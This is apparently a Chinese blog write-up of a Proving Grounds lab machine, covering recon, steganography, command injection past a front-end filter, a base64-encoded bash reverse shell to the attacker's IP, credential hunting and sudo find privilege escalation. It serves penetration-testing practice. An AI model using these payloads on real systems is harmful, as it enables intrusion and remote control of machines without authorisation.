iT邦幫忙

2025 iThome 鐵人賽

DAY 2
0

Recon

先來看看這台靶機上開了甚麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.128.15 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.128.15 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.128.15 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.128.15 -type recon;

只看到一個 Port 80
還真是單純的靶機 XD
https://ithelp.ithome.com.tw/upload/images/20250915/20178791EIANk1cJTS.png

Port 80 上面跑了一個網頁 (http://noname/ ),感覺可以下指令喔! 快試試看
https://ithelp.ithome.com.tw/upload/images/20250915/20178791j7uA6Bm3mX.png
但這個網頁是假的,下甚麼指令都沒有用 QQ
https://ithelp.ithome.com.tw/upload/images/20250915/20178791L69lShF5PA.png

在路徑爆破的掃描結果裡面可以找到一個隱藏的目錄叫做 admin
只有一張圖…
好,那先看看 page source 裡面有甚麼
http://noname/admin
https://ithelp.ithome.com.tw/upload/images/20250915/20178791ctvoqPsTVy.png

view-source:http://noname/admin 看起來 page source 裡面有藏一個 passphrase 喔!
但只有這資訊也幫不上甚麼忙,不過先筆記起來好了
https://ithelp.ithome.com.tw/upload/images/20250915/20178791IAJgpCzZTX.png
在這台機器上搞東搞西,摸了很久也沒看到有用的東西
回到我們的 admin 頁面再看看,一張大大的圖…
記得以前研究所有學過一個叫做隱寫術的技術,該不會這圖裡面有藏資訊吧?
我們先用 steghide 把圖裡面的資訊抽出來讀取,看到一組 base64 的字串
decode 後發現另一個 php 頁面!

steghide --extract -sf haclabs.jpeg
cat imp.txt
echo 'c3VwZXJhZG1pbi5waHA=' | base64 -d

https://ithelp.ithome.com.tw/upload/images/20250915/201787916Y0f6TcM6W.png

http://noname/superadmin.php 原來 superadmin.php 提供給我們一個真的可以下指令的頁面
https://ithelp.ithome.com.tw/upload/images/20250915/20178791xTtDlZdxkn.png
https://ithelp.ithome.com.tw/upload/images/20250915/20178791HDH6vr5wh8.png

接著下 192.168.45.215 | whoami 的指令,真的有拿到 www-data 的身分
https://ithelp.ithome.com.tw/upload/images/20250915/20178791QPHP9TKQ4I.png
不過這個 command box 功能並不完整
當我想要輸入 ls 或 pwd 的時候,資料並沒有回傳

因為不清楚原因,如果可以看到 superadmin.php 原始就好了
輸入 192 | cat superadmin.php 在 command box 中,接著 view-source:http://noname/superadmin.php
這邊我們發現了原因,因為 ";" "/", "bin", "&", "&&", "ls", "nc", "dir", "pwd" 都被濾掉了!
如果連 nc 都被濾掉,還有沒有辦法可以拿到 reverse shell?
https://ithelp.ithome.com.tw/upload/images/20250915/20178791vM92e6s1ck.png

Initial Access

還好,這些字串過濾看起來是在前端
只要能迴避這些過濾機制,就有機會可以去後端執行指令
一個小訣竅是利用 base64 ecode 我們想要的指令去迴避偵測
然後要記得加上 decode的指令,並且告訴後台要用 bash去執行
echo "bash -i >& /dev/tcp/192.168.45.215/80 0>&1" |base64
https://ithelp.ithome.com.tw/upload/images/20250915/20178791QWu0LTEVXi.png

設定好監聽後,在 command box 中輸入以下
192 ||echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIxNS84MCAwPiYxCg==' |base64 -d|bash
順利拿到 reverse shell!
https://ithelp.ithome.com.tw/upload/images/20250915/2017879117YlQBnsgr.png

Privilege Escalation

在拿第一個 flag 的時候,我們發現了一個有趣的檔案
看來使用者 haclabs 的密碼被藏在一個隱藏的檔案裏面
https://ithelp.ithome.com.tw/upload/images/20250915/201787915HCDnzofUJ.png
https://ithelp.ithome.com.tw/upload/images/20250915/20178791sTDxaaG00V.png

直接用 haclabs 的名字去找找找這台靶機
grep -r haclabs / 2>/dev/null
順利找到他的密碼
https://ithelp.ithome.com.tw/upload/images/20250915/20178791gadVOakrP7.png
變身 haclabs

su haclabs
haclabs1234

本來是期待 hacklabs 有在 sudo 的群組裡面,看來果然想太多
此時又發現 flag2.txt, 但感覺沒甚麼用
https://ithelp.ithome.com.tw/upload/images/20250915/20178791h3G7rxpCgm.png
https://ithelp.ithome.com.tw/upload/images/20250915/20178791Go2UJSXZby.png
還是先看看 haclabs 能執行甚麼 root 的權限好了
sudo -l
https://ithelp.ithome.com.tw/upload/images/20250915/20178791QIrKOMD4jz.png

/usr/bin/find 是我們的老朋友,詳細指令可以在 GTFObin 上找到 https://gtfobins.github.io/gtfobins/find/#suid
順利提權,拿到第二個 flag!
sudo /usr/bin/find . -exec /bin/sh \; -quit
https://ithelp.ithome.com.tw/upload/images/20250915/20178791tuzxUxOeg8.png
https://ithelp.ithome.com.tw/upload/images/20250915/20178791Da9CZbWHgV.png


上一篇
PG Play: Gaara 攻略
下一篇
PG Play: FunboxEasyEnum 攻略
系列文
滲透探險 30 天:靶機挑戰記3
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言